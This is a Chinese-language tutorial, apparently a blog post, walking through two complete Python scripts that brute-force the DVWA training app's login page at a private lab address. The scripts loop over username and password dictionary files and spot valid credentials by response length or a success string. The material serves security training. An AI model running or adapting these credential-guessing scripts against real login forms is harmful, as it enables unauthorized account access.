网站登录（Python测试）

测试靶机为DVWA，适合DVWA暴力破解模块的Low和Medium等级。关键代码解释url指定url地址url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"header设置请求头header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}payload设置请求参数payload = {'username':username,'password':password,"Login":'Login'}这一行的作用是作一次get请求，响应信息被变量Response接收。 Response = requests.get(url,params=payload,headers=header)这两行代码循环遍历账号和密码字典文件，之后给他们做笛卡尔积循环暴力破解这种方式和burp的Intruder模块的Cluster bomb攻击方式一样。for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):然后把循环结果存放到csv文件里，用逗号分割数据Response.status_code是响应的http状态码，len(Response.content)是http响应报文的长度。result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')完整代码方法一登陆成功的和失败返回数据不同，所以数据包长度也不同。包长度与其他不同的数据，可能就是正确的账号密码。import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理设置，方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')

print('\n完成')运行这就是脚本发送的数据包查看结果查看包长度与其他不同的数据，登录测试方法二这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码，然后把正确的账号密码输出到屏幕和txt文件里。主要改动在第17到20行import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理设置，方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
if not(Response.text.find('Welcome to the password protected area')==-1):
result = username + ':' + password
print(result)
f.write(result + '\n')

print('\n完成')运行